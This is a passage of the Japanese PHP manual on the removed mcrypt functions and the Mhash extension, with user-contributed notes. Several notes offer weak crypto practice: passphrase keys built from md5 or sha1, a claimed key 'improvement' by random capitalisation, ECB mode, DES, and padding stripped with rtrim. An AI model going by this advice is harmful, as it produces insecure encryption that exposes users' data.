この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_module_is_block_mode ( string $mode , string $lib_dir = ? ) : bool

この関数は、ブロック出力を行うモードの場合に true、バイトのみを 出力する場合に false を返します(例: cbc と ecb の場合に true、 cfb と streamの場合に false)。

パラメータ

mode

定数 MCRYPT_MODE_モード名、あるいは文字列 "ecb", "cbc", "cfb", "ofb", "nofb" ,"stream" のいずれか。

lib_dir

オプションのパラメータ lib_dir により、システム上での mode モジュールの 位置を指定することが可能です。

返り値

この関数は、ブロック出力を行うモードの場合に true、バイトのみを 出力する場合に false を返します(例: cbc と ecb の場合に true、 cfb と streamの場合に false)。

User Contributed Notes

There are no user contributed notes for this page.


使用するアルゴリズムおよびモードのモジュールをオープンする

  • ≪ mcrypt_module_is_block_mode
  • mcrypt_module_self_test ≫
  • PHP Manual
  • Mcrypt 関数
  • 使用するアルゴリズムおよびモードのモジュールをオープンする

mcrypt_module_open

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_open — 使用するアルゴリズムおよびモードのモジュールをオープンする

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_module_open ( string $algorithm , string $algorithm_directory , string $mode , string $mode_directory ) : resource

この関数は、使用するアルゴリズムおよびモードのモジュールをオープン します。アルゴリズム名は、たとえば "twofish" のように名前で指定するか定数 MCRYPT_暗号名 のいずれかを使用して指定します。 ライブラリは mcrypt_module_close() をコールする ことによりクローズされます。

パラメータ

algorithm

MCRYPT_暗号名 定数のいずれか、 あるいはアルゴリズム名をあらわす文字列。

algorithm_directory

暗号化モジュールの位置を指定する際には algorithm_directory を使います。 ディレクトリ名を指定した場合には、これが使用されます。 これらの一つに空の文字列("")を指定した場合、php.ini ディレクティブ mcrypt.algorithms_dir に設定された値を使います。 これらが設定されていない場合、libmcrypt をコンパイルした際の デフォルトのディレクトリ (通常は/usr/local/lib/libmcrypt) を使います。

mode

定数 MCRYPT_MODE_モード名、あるいは文字列 "ecb", "cbc", "cfb", "ofb", "nofb" ,"stream" のいずれか。

mode_directory

暗号化モジュールの位置を指定する際には mode_directory を使います。 ディレクトリ名を指定した場合には、これが使用されます。 これらの一つに空の文字列("")を指定した場合、php.ini ディレクティブ mcrypt.modes_dir に設定された値を使います。 これらが設定されていない場合、libmcrypt をコンパイルした際の デフォルトのディレクトリ (通常は/usr/local/lib/libmcrypt) を使います。

返り値

通常は暗号化記述子を返します。エラー時は false を返します。

例

例1 mcrypt_module_open() の例

<?php
    $td = mcrypt_module_open(MCRYPT_DES, '',
        MCRYPT_MODE_ECB, '/usr/lib/mcrypt-modes');

    $td = mcrypt_module_open('rijndael-256', '', 'ofb', '');
?>

上の例の最初の行では、デフォルトのディレクトリから DES 暗号化を、 そして /usr/lib/mcrypt-modes から ECB モードの オープンを試みます。2 行目の例では暗号化形式とモードを文字列で 指定しています。これは、libmcrypt 2.4.x あるいは 2.5.x に対して 拡張モジュールがリンクされている場合にのみ使用可能です。

例2 mcrypt_module_open() を暗号化で使用する

<?php
    /* 暗号モジュールをオープンします */
    $td = mcrypt_module_open('rijndael-256', '', 'ofb', '');

    /* IV を作成し、キー長を定義します。Windows では、かわりに
     * MCRYPT_RAND を使用します */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
    $ks = mcrypt_enc_get_key_size($td);

    /* キーを作成します */
    $key = substr(md5('very secret key'), 0, $ks);

    /* 暗号化処理を初期化します */
    mcrypt_generic_init($td, $key, $iv);

    /* データを暗号化します */
    $encrypted = mcrypt_generic($td, 'This is very important data');

    /* 暗号化ハンドラを終了します */
    mcrypt_generic_deinit($td);

    /* 復号用の暗号モジュールを初期化します */
    mcrypt_generic_init($td, $key, $iv);

    /* 暗号化された文字列を復号します */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* 復号ハンドルを終了し、モジュールを閉じます */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* 文字列を表示します */
    echo trim($decrypted) . "\n";
?>

参考

  • mcrypt_module_close() - mcrypt モジュールを閉じる
  • mcrypt_generic() - データを暗号化する
  • mdecrypt_generic() - データを復号する
  • mcrypt_generic_init() - 暗号化に必要な全てのバッファを初期化する
  • mcrypt_generic_deinit() - 暗号化モジュールを終了する

User Contributed Notes

Anonymous 18-Feb-2016 10:34
Follow up to anonymous with Windows' mcrypt_module_open() errors:

<?php
$M = mcrypt_list_modes();
$A = mcrypt_list_algorithms();
foreach ($M as $m)
    foreach ($A as $a) {
        $t = @mcrypt_module_open($a,'',$m,'');
        print "$m, $a = ";
        print ($t)?"ok":"nope";
        print "<br>";
    }
?>

This will show that not all modes work with all algorithmns. Cygwin also has no 'libmcrypt.dll' and it too will work with only some combinations.

(First tries just happened to be one of the ones that did not work!)
Mark 29-Oct-2012 02:11
for errors like
' mcrypt_module_open(): Could not open encryption module in '

Make sure you're using the right name. The page giving the list of ciphers is NOT the right way to say each cipher (shown here http://www.php.net/manual/en/mcrypt.ciphers.php).

In order to see what ones are supported, try phpinfo(); and look under mcrypt to find something like this

mcrypt support => enabled
mcrypt_filter support => enabled
Version => 2.5.8
Api No => 20021217
Supported ciphers => cast-128 gost rijndael-128 twofish arcfour cast-256 loki97 rijndael-192 saferplus wake blowfish-compat des rijndael-256
 serpent xtea blowfish enigma rc2 tripledes
Supported modes => cbc cfb ctr ecb ncfb nofb ofb stream
lehmann*at*arcor-so.net 20-Jul-2009 08:10
Keep in mind that the mcrypt functions do not implement padding like e.g. pkcs#5. This causes the problem with zero bytes at the end and the sting cannot be correctly decoded in other environments.

For an example how to add pkcs 5 padding, see ref.mcrypt.php
royconejo 29-Mar-2009 09:01
about the previous comments on hex formatting and capitalization as a way to improve the key:

this would seem pretty obvious, but it is a choice to be limited to only hex characters ([0-9a-z]); you can get the original RAW output from md5() or sha1() and not the default readable hex formatting.

the result of a raw output will be 16 o 20 (depending on the hash function being used) series of chars in the range 0-255. way better than [0-9a-z] and even [0-9a-zA-Z].

16 or 20 is generally lower than the maximum key lenght ($ks in the example), but you can append two or more keys together:

<?php
$human_key1 = 'something very secret';
$human_key2 = 'something else very secret';

// 40 bytes binary key using two "human readable" keys and sha1.
$bigger_binary_key = sha1($human_key1, true) . sha1($human_key2, true);

// then just use it as you would (extract taken from the example)
$key = substr($bigger_binary_key, 0, $ks);
?>

... or you can automatically split one large "human key" into two or more parts, hash those parts with sha1 (raw output!) and merge them together again (in original order or rearrange, salt, transform them as you like) to get a binary key of 40, 60, 80 or more chars depending on the number of parts the secret key has been splitted =)
ash 17-Jul-2008 03:07
A slight improvement of dinamic's function to create a key:

I think the weak point is that capitals are always used in the same part of the string. The following code capitalizes random characters of the string, making the key less predictable:

<?php
$key = substr($key1, 0, $ks/2) . substr($key2, (round(strlen($key2) / 2)), $ks/2);
$key = substr($key.$key1.$key2.$key1,0,$ks);

$buffer = str_split($key);

$limit = count($buffer)-1;
srand((float)microtime() * 1000000);

$end = rand(0, $limit);
$a = 0;

// replace random chars with capitals
while ($a < $end) {
    list($usec, $sec) = explode(' ', microtime());
        $seed = ((float)$sec) + ((float) $usec * 100000);
    mt_srand($seed);

    $index = mt_rand(0,$limit);

    $buffer[$index] = strtoupper($buffer[$index]);
    $a++;
}

$key = join('', $buffer);
?>
dinamic at gmail dot com 13-Nov-2007 03:05
Also it should be pointed that md5() and/or sha1() should not be used while forming your key for the mcrypt. This is so because hex encoding uses a set of only 16 characters [0-9a-f], which is equivalent to 4 bits, and thus halve the strength of your encryption: 4 x 32 = 128-bit.

I have re-wrote the example shown, so here is my suggestion to get real 256-bit encryption:

<?php
$key1 = "this is a secret key";
$key2 = "this is the second secret key";
$input = "Let us meet at 9 o'clock at the secret place.";
$length = strlen($input);

    /* Open the cipher */
    $td = mcrypt_module_open('rijndael-256', '', 'cbc', '');

    /* Create the IV and determine the keysize length, use MCRYPT_RAND
     * on Windows instead */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $ks = mcrypt_enc_get_key_size($td);

    /* Create key */
    $key1 = md5($key1);
    $key2 = md5($key2);

    $key = substr($key1, 0, $ks/2) . substr(strtoupper($key2), (round(strlen($key2) / 2)), $ks/2);

    $key = substr($key.$key1.$key2.strtoupper($key1),0,$ks);

    /* Intialize encryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Encrypt data */
    $encrypted = mcrypt_generic($td, $input);

    /* Terminate encryption handler */
    mcrypt_generic_deinit($td);

    /* Initialize encryption module for decryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Decrypt encrypted string */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* Terminate decryption handle and close module */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* Show string */
    echo "Text: ".substr($decrypted,0,$length) . "<br>";
    echo "Encoded: ".$encrypted ."<br>";
    echo "<br>key1: $key1 <br>key2: $key2<br>created key: $key";
?>
31-Jul-2003 08:14
Doing a trim($decrypted) will remove the null padding that may occur as a result of decryption.

The problem is if you're encrypting something like a MSWord document which can commonly end with nulls. The result $decrypted will be smaller than the original cleartext - which will then fail to open in MSOffice.

To get around this, make sure you store the length of the original cleartext, and when you decrypt it, do:

$decrypted = substr(mdecrypt_generic($td, $encrypted), 0, $originalLength);


指定したモジュールのセルフテストを実行する

  • ≪ mcrypt_module_open
  • mcrypt_ofb ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定したモジュールのセルフテストを実行する

mcrypt_module_self_test

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_self_test — 指定したモジュールのセルフテストを実行する

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_module_self_test ( string $algorithm , string $lib_dir = ? ) : bool

この関数は、指定したアルゴリズムのセルフテストを実行します。

パラメータ

algorithm

MCRYPT_暗号名 定数のいずれか、 あるいはアルゴリズム名をあらわす文字列。

lib_dir

オプションのパラメータ lib_dir により、 システム上での algorithm モジュールの位置を指定することが可能です。

返り値

成功した場合 0、失敗した場合に負の int を返します。

例

例1 mcrypt_module_self_test() の例

<?php
var_dump(mcrypt_module_self_test(MCRYPT_RIJNDAEL_128)) . "\n";
var_dump(mcrypt_module_self_test(MCRYPT_BOGUS_CYPHER));
?>

上の例の出力は以下となります。

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


OFB モードでデータを暗号化/復号する

  • ≪ mcrypt_module_self_test
  • mdecrypt_generic ≫
  • PHP Manual
  • Mcrypt 関数
  • OFB モードでデータを暗号化/復号する

mcrypt_ofb

(PHP 4, PHP 5)

mcrypt_ofb — OFB モードでデータを暗号化/復号する

警告

この関数は PHP 5.5.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • mcrypt_decrypt()
  • mcrypt_encrypt()

説明

mcrypt_ofb ( int $cipher , string $key , string $data , int $mode , string $iv ) : string
mcrypt_ofb ( string $cipher , string $key , string $data , int $mode , string $iv = ? ) : string

最初のプロトタイプは libmcrypt 2.2.x とリンクした場合、2 番目は libmcrypt 2.4.x 以降とリンクした場合です。 mode は、 MCRYPT_ENCRYPT あるいは MCRYPT_DECRYPT のいずれかです。

User Contributed Notes

There are no user contributed notes for this page.


データを復号する

  • ≪ mcrypt_ofb
  • Mhash ≫
  • PHP Manual
  • Mcrypt 関数
  • データを復号する

mdecrypt_generic

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mdecrypt_generic — データを復号する

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mdecrypt_generic ( resource $td , string $data ) : string

この関数は、データを復号します。データのパディングが行われるため、 返される文字列の長さは暗号化前の文字列よりも長くなる可能性があることに 注意してください。

パラメータ

td

mcrypt_module_open() が返す暗号化記述子。

data

暗号化されたデータ。

例

例1 mdecrypt_generic() の例

<?php
    /* データ */
    $key = 'this is a very long key, even too long for the cipher';
    $plain_text = 'very important data';

    /* モジュールをオープンし、IV を作成します */
    $td = mcrypt_module_open('des', '', 'ecb', '');
    $key = substr($key, 0, mcrypt_enc_get_key_size($td));
    $iv_size = mcrypt_enc_get_iv_size($td);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

    /* 暗号化ハンドルを初期化します */
    if (mcrypt_generic_init($td, $key, $iv) != -1) {

        /* データを暗号化します */
        $c_t = mcrypt_generic($td, $plain_text);
        mcrypt_generic_deinit($td);

        /* 復号のため、バッファを再度初期化します */
        mcrypt_generic_init($td, $key, $iv);
        $p_t = mdecrypt_generic($td, $c_t);

        /* 後始末をします */
        mcrypt_generic_deinit($td);
        mcrypt_module_close($td);
    }

    if (strncmp($p_t, $plain_text, strlen($plain_text)) == 0) {
        echo "ok\n";
    } else {
        echo "error\n";
    }
?>

上記の例は、暗号化前のデータと復号したデータと同じであるかどうかを 調べる方法を示すものです。データを復号する前に mcrypt_generic_init() で暗号化バッファを再度 初期化しておくことが重要です。

この関数をコールする前に、常に mcrypt_generic_init() でキーと IV を使用して 復号ハンドルを初期化しておくべきです。暗号化が終了した際には mcrypt_generic_deinit() をコールして暗号化 バッファを開放すべきです。 mcrypt_module_open() の例を参照ください。

参考

  • mcrypt_generic() - データを暗号化する
  • mcrypt_generic_init() - 暗号化に必要な全てのバッファを初期化する
  • mcrypt_generic_deinit() - 暗号化モジュールを終了する

User Contributed Notes

Ulysse 07-Nov-2013 02:27
Based on the information provided by "jakub dot lopuszanski at nasza-klasa dot pl" that in PKCS#7, the last byte contains the number of byte to remove (see RFC 5652, part 6.3), and for those like me who like to copy paste an already-made snippet:

<?php
function unpadPKCS7($data, $blocksize)
{
    $last = substr($data, -1);
    return substr($data, 0, strlen($data) - ord($last));
}
?>

Now you have no more reason to use rtrim() to remove the padding at the end of the result.
jakub dot lopuszanski at nasza-klasa dot pl 25-Jun-2013 07:16
For all those of you which are "surprised" by the padding (even though it is mentioned in the description of the method) please do not just "strip away everything which I do not understand".
The approach with rtrim, rtrim "\0", removing all charcodes < 16, etc. are all wrong.
The PKCS #7 padding works just as described in  RFC 5652.
To remove it, just look at the last byte of the message, and it will tell you how many bytes to remove.
For example, if the last byte is equal to \0A, then remove 10 bytes.
Peter Bailey 19-Mar-2012 05:49
We found that sometimes the resulting padding is not null characters "\0" but rather one of several control characters.

If you know your data is not supposed to have any trailing control characters "as we did" you can strip them like so.

<?php

$data = mdecrypt_generic( $cipher, $data );

// Strip trailing control-character padding
$data = preg_replace( "/\p{Cc}*$/u", "", $data );

?>
trashmail dot hashishin at gmail dot com 01-Jun-2010 12:46
Whenever you need to decrypt files encrypted with dot.net (and others?) you can use the following settings:

Encryption: 'rijndael-256'
Mode: 'cbc'
Padding-Mode: Zeros
iv: "yes"

encode the data with base64 to send them to your php script
Anonymous 21-Mar-2009 07:31
Here's a quick snippet for removing PKCS7 padding:

<?php
function unpadPKCS7($data, $blockSize) {
    $length = strlen ( $data );
    if ($length > 0) {
        $first = substr ( $data, - 1 );

        if (ord ( $first ) <= $blockSize) {
            for($i = $length - 2; $i > 0; $i --)
                if (ord ( $data [$i] != $first ))
                    break;

            return substr ( $data, 0, $i );
        }
    }
    return $data;
}
?>
nytro_rst at yahoo dot com 09-Feb-2009 03:33
<?php
// Parameters:
// $text = The text that you want to encrypt.
// $key = The key you're using to encrypt.
// $alg = The algorithm.
// $crypt = 1 if you want to crypt, or 0 if you want to decrypt.

function cryptare($text, $key, $alg, $crypt)
{
    $encrypted_data="";
    switch($alg)
    {
        case "3des":
            $td = mcrypt_module_open('tripledes', '', 'ecb', '');
            break;
        case "cast-128":
            $td = mcrypt_module_open('cast-128', '', 'ecb', '');
            break;
        case "gost":
            $td = mcrypt_module_open('gost', '', 'ecb', '');
            break;
        case "rijndael-128":
            $td = mcrypt_module_open('rijndael-128', '', 'ecb', '');
            break;
        case "twofish":
            $td = mcrypt_module_open('twofish', '', 'ecb', '');
            break;
        case "arcfour":
            $td = mcrypt_module_open('arcfour', '', 'ecb', '');
            break;
        case "cast-256":
            $td = mcrypt_module_open('cast-256', '', 'ecb', '');
            break;
        case "loki97":
            $td = mcrypt_module_open('loki97', '', 'ecb', '');
            break;
        case "rijndael-192":
            $td = mcrypt_module_open('rijndael-192', '', 'ecb', '');
            break;
        case "saferplus":
            $td = mcrypt_module_open('saferplus', '', 'ecb', '');
            break;
        case "wake":
            $td = mcrypt_module_open('wake', '', 'ecb', '');
            break;
        case "blowfish-compat":
            $td = mcrypt_module_open('blowfish-compat', '', 'ecb', '');
            break;
        case "des":
            $td = mcrypt_module_open('des', '', 'ecb', '');
            break;
        case "rijndael-256":
            $td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
            break;
        case "xtea":
            $td = mcrypt_module_open('xtea', '', 'ecb', '');
            break;
        case "enigma":
            $td = mcrypt_module_open('enigma', '', 'ecb', '');
            break;
        case "rc2":
            $td = mcrypt_module_open('rc2', '', 'ecb', '');
            break;
        default:
            $td = mcrypt_module_open('blowfish', '', 'ecb', '');
            break;
    }

    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $key = substr($key, 0, mcrypt_enc_get_key_size($td));
    mcrypt_generic_init($td, $key, $iv);

    if($crypt)
    {
        $encrypted_data = mcrypt_generic($td, $text);
    }
    else
    {
        $encrypted_data = mdecrypt_generic($td, $text);
    }

    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    return $encrypted_data;
}
?>
Silvan 17-Aug-2007 12:34
It is generally not recommended to just use rtrim to remove the padding.

Use rtrim($str, "\0") for strings that do not end in "\0" or store the data length during encryption.
(Although data containing "\0" sometimes gets corrupted during encryption so these types of data actually should be packed.)

For example:

<?php

function encrypt($original_data)
{
    $length = strlen($original_data);
    $data_to_encrypt = $length.'|'.$original_data;
    // Encrypt the data including its length.
    // Do not save the length unencrypted, as this could be a (minor) security risk
}

function decrypt($cypher)
{
    // Decrypt the cypher data first
    // Next retrieve the original data
    list($length, $padded_data) = explode('|', $decrypted_data, 2);
    $original_data = substr($padded_data, 0, $length);
}

?>
php at pcwize dot com 12-Oct-2006 02:59
Just confirming the .DLL issues. With 4.3.4 you need the older .DLL. I'm guessing any version of PHP4 needs the older .DLL. With PHP5 you need the newer one.
drew at expressdynamics dot com 05-Jul-2005 10:07
On Win32 systems with PHP 5, you must use the newer libmcrypt.dll file, otherwise mdecrypt_generic will not work.
robbie [at] averill [dot] co [dot] nz 24-Mar-2005 03:15
I have noticed that sometimes when the binary ciphertext is longer than the plaintext, the decrypted plaintext can have some little boxes/squares next to it as 'padding'. I also noticed that you can't cut and paste them to be able to edit them out, but i did find a solution.

Just call rtrim() around the string and it removes them.
jon@jonroig dot com 07-Apr-2004 07:29
Here's a bit of encrypt/decrypt code.

If you're using this on the win32 platform, BEWARE! The latest DLL (19-Jan-2004) contains a bug that keeps mdecrypt_generic from functioning. Nearly drove me over the edge... The 30-Dec-2002 version seems to work with no trouble.
<?

$key = "this is a secret key";
$input = "Let us meet at 9 o'clock at the secret place.";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $key, $iv);
$encrypted_data = mcrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

echo "Encrypt: ".$encrypted_data;

echo "<br><br>";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
$key = substr($key, 0, mcrypt_enc_get_key_size($td));
mcrypt_generic_init($td, $key, $iv);
$decrypted_data = mdecrypt_generic($td, $encrypted_data);
echo "Decrypt: ".$decrypted_data;
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

?>


Mhash

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • Mhash 関数
    • mhash_count — 利用可能なハッシュ ID の最大値を得る
    • mhash_get_block_size — 指定したハッシュのブロックサイズを得る
    • mhash_get_hash_name — 指定したハッシュの名前を得る
    • mhash_keygen_s2k — キーを生成する
    • mhash — ハッシュ値を計算する

User Contributed Notes

virgili dot garcia at gmail dot com 12-Apr-2016 03:11
You can use:

$s = 'foo';
echo pack('H*', hash('md4', $s));
Typo 10-Jun-2011 04:44
Note:

This extension is obsoleted by Hash.

I thought I would post this here as it took me a few minutes to find out.


はじめに

以下の関数は、» mhash と組み合わせて 動作することを前提としています。mhashは、チェックサム、メッセージ ダイジェスト、メッセージ認証コード等を作成するために使用することが できます。

この関数は、mhash ライブラリへのインターフェイスです。 mhash は、MD5, SHAl, GOST や他の多くの方法といった広範なハッシュ アルゴリズムをサポートします。サポートされるハッシュの全一覧に ついては、定数のページを参照してください。一般的な規則として、 特定のハッシュアルゴリズムは、PHP から定数「MHASH_ハッシュ名」で アクセス可能です。例えば、TIGER の場合、PHP 定数 MHASH_TIGER を 使用します。

注意:

この拡張モジュールの後継版は Hash です。

注意:

PHP 7.0.0 以降は、Mhash 拡張モジュールは Hash 拡張モジュールに完全に統合されました。 よって、extension_loaded() を使って Mhash がサポートされているかを検知することはできません。 代わりに function_exists() を使ってください。 さらに、Mhash は get_loaded_extensions() や関連する機能でも報告されません。

User Contributed Notes

There are no user contributed notes for this page.


要件

mhash を使用するには、mhash の配布ファイルを » mhash の Web サイト から ダウンロードし、その中のインストール用の指示に従ってください。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張機能を使用するには、PHP に --with-mhash[=DIR] パラメータを付けて コンパイルする必要があります。DIR は mhash インストールディレクトリです。

PHP 5.3.0 以降では、 Hash 拡張モジュールが mhash 拡張モジュールの動作をエミュレートするようになりました。 そのため、mhash インストールディレクトリの指定は無意味となりました。 また、hash 拡張モジュールで mhash サポートを有効にしておく必要があります。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

以下に現在 mhash によりサポートされているハッシュの一覧を示します。 このリストにないけれでも mhash のドキュメントでは「サポートされている」というハッシュがある場合は このドキュメントが古いと考えてください。

  • MHASH_ADLER32
  • MHASH_CRC32
  • MHASH_CRC32B
  • MHASH_GOST
  • MHASH_HAVAL128
  • MHASH_HAVAL160
  • MHASH_HAVAL192
  • MHASH_HAVAL224
  • MHASH_HAVAL256
  • MHASH_MD2
  • MHASH_MD4
  • MHASH_MD5
  • MHASH_RIPEMD128
  • MHASH_RIPEMD256
  • MHASH_RIPEMD320
  • MHASH_SHA1
  • MHASH_SHA192
  • MHASH_SHA224
  • MHASH_SHA256
  • MHASH_SHA384
  • MHASH_SHA512
  • MHASH_SNEFRU128
  • MHASH_SNEFRU256
  • MHASH_TIGER
  • MHASH_TIGER128
  • MHASH_TIGER160
  • MHASH_WHIRLPOOL

User Contributed Notes

There are no user contributed notes for this page.


例

例1 MD5 ダイジェストと hmac を計算し、16 進数で出力する

<?php
$input = "what do ya want for nothing?";
$hash = mhash(MHASH_MD5, $input);
echo "The hash is " . bin2hex($hash) . "<br />\n";
$hash = mhash(MHASH_MD5, $input, "Jefe");
echo "The hmac is " . bin2hex($hash) . "<br />\n";
?>

上の例の出力は以下となります。

The hash is d03cb659cbf9192dcd066272249f8412
The hmac is 750c783e6ab0b503eaa86e310a5db738

User Contributed Notes

There are no user contributed notes for this page.


Mhash 関数

目次

  • mhash_count — 利用可能なハッシュ ID の最大値を得る
  • mhash_get_block_size — 指定したハッシュのブロックサイズを得る
  • mhash_get_hash_name — 指定したハッシュの名前を得る
  • mhash_keygen_s2k — キーを生成する
  • mhash — ハッシュ値を計算する

User Contributed Notes

alexey dot kupershtokh at gmail dot com 27-Dec-2007 04:48
There's a class for generating TTH compatible with DC clients (DC++, StrongDC, ...) which uses mhash() with tiger algorithm:
http://kupershtokh.blogspot.com/2007/12/on-phpclub.html
ludicruz at yahoo dot com 07-Jul-2007 01:41
to robert at mediamonks dot com

This will work better, in your function you can just use the constant function to pull in the actual value of MHASH_SHA512 or whatever.

function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash(constant($strHashMethod), $argStrString));

return $strHashedString;
}

now:

echo getHashNotWorking('SHA512', 'some string');

works how you want it.
robert at mediamonks dot com 06-Dec-2006 12:44
function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash($strHashMethod, $argStrString));

return $strHashedString;
}

echo getHashNotWorking('SHA512', 'some string');

This will return an error about the mhash function expecting a long type instead of a string.

=============================

for ($intI = 0; $intI <= mhash_count(); $intI++)
{
$arrHashTypes[mhash_get_hash_name($intI)] = $intI;
}

function getHashWorking($argStrType, $argStrString)
{
global $arrHashTypes;
$strHashedString = bin2hex(mhash($arrHashTypes[$argStrType], $argStrString));

return $strHashedString;
}

echo getHashWorking('SHA512', 'some string');

This will return the hash with the desired hash method
m1tk4 at hotmail dot com 21-Jun-2004 10:43
To enable mhash on RHEL/Fedora Core/other RPM-based Linuxes without rebuilding PHP, get the php-mhash and mhash RPMs at http://phprpms.sourceforge.net/mhash


利用可能なハッシュ ID の最大値を得る

  • ≪ Mhash 関数
  • mhash_get_block_size ≫
  • PHP Manual
  • Mhash 関数
  • 利用可能なハッシュ ID の最大値を得る

mhash_count

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash_count — 利用可能なハッシュ ID の最大値を得る

説明

mhash_count ( ) : int

利用可能なハッシュ ID の最大値を取得します。

返り値

利用可能なハッシュ ID の最大値を返します。 ハッシュは、0 からこのハッシュ ID までの数字となります。

例

例1 全ハッシュをループする

<?php

$nr = mhash_count();

for ($i = 0; $i <= $nr; $i++) {
    echo sprintf("The blocksize of %s is %d\n",
        mhash_get_hash_name($i),
        mhash_get_block_size($i));
}
?>

User Contributed Notes

holdoffhunger at gmail dot com 29-Jun-2012 12:36
The MHash function mhash_count() returns the highest, evaluated, constant value representing a hashing algorithm available within the current MHash install.  For example, 0 indicates CRC32, 1 indicates MD5, 2 indicates SHA1, etc., etc..  You can get the evaluated number for any of these algorithms by doing a print statement with any of the predefined, MHash constants, such as those available here : http://www.php.net/manual/en/mhash.constants.php .

The purpose of mhash_count() in MHash is similar to the purpose of hash_algos() in HASH Message Digest Framework.  Instead of providing an array of available hashing algorithms, it simply provides the highest, evaluated, constant expression for the Algorithm Constants.  The thinking, as indicated in the sample code, is that you will parse a list of mhash algorithms in a for loop using a condition of "$i <= mhash_count()".

However, there is a problem with that: there are several integers that are skipped in the listing of evaluated constant expressions.  While 2 indicates SHA1, 3 indicates HAVAL256, etc., there is nothing for the numbers 4 and 6.  They produce blank results when on that line of the for-loop and you're calling functions like mhash_get_block_size() and mhash_get_hash_name().  These were likely reserved for algorithms that were removed for one reason or another, either inefficiency or lack of security, and the number-to-predefined-constant setup wasn't changed to make it backward compatible with older code.

If you want to know what counts as a good constant and what doesn't, try running this code :

<?php

            // Author: holdoffhunger@gmail.com

        // Parse All Hashing Algorithms
        // ---------------------------------------------------

    for($i = 0; $i <= mhash_count(); $i++)
    {
            // Get Algorithm Information
            // ---------------------------------------------------

        $mhash_algorithm_block_size = mhash_get_block_size($i);
        $mhash_algorithm_name = mhash_get_hash_name($i);

            // Decide on Printing Algorithm Information
            // ---------------------------------------------------

        if(strlen($mhash_algorithm_name) < 1)
        {
                // There *IS* Available Algorithm Data
                // ---------------------------------------------------

            print("# $i --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .<br><br>");
        }
        else
        {
                // There *IS NO* Available Algorithm Data
                // ---------------------------------------------------

            print("# $i --- $mhash_algorithm_name to $mhash_algorithm_block_size .<br><br>");
        }
    }

?>

    Sample Results
    ............................

# 0 --- CRC32 to 4 .

# 1 --- MD5 to 16 .

# 2 --- SHA1 to 20 .

# 3 --- HAVAL256 to 32 .

# 4 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .

# 5 --- RIPEMD160 to 20 .

# 6 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .

# 7 --- TIGER to 24 .

# 8 --- GOST to 32 .

...(and so on)...


指定したハッシュのブロックサイズを得る

  • ≪ mhash_count
  • mhash_get_hash_name ≫
  • PHP Manual
  • Mhash 関数
  • 指定したハッシュのブロックサイズを得る

mhash_get_block_size

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash_get_block_size — 指定したハッシュのブロックサイズを得る

説明

mhash_get_block_size ( int $algo ) : int|false

指定した algo のブロックサイズを取得します。

パラメータ

algo

ハッシュ ID。MHASH_ハッシュ名 定数のいずれかを指定します。

返り値

サイズをバイト数で返します。algo が存在しない場合は false を返します。

例

例1 mhash_get_block_size() の例

<?php

echo mhash_get_block_size(MHASH_MD5); // 16

?>

User Contributed Notes

There are no user contributed notes for this page.


指定したハッシュの名前を得る

  • ≪ mhash_get_block_size
  • mhash_keygen_s2k ≫
  • PHP Manual
  • Mhash 関数
  • 指定したハッシュの名前を得る

mhash_get_hash_name

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash_get_hash_name — 指定したハッシュの名前を得る

説明

mhash_get_hash_name ( int $algo ) : string|false

指定した algo の名前を取得します。

パラメータ

algo

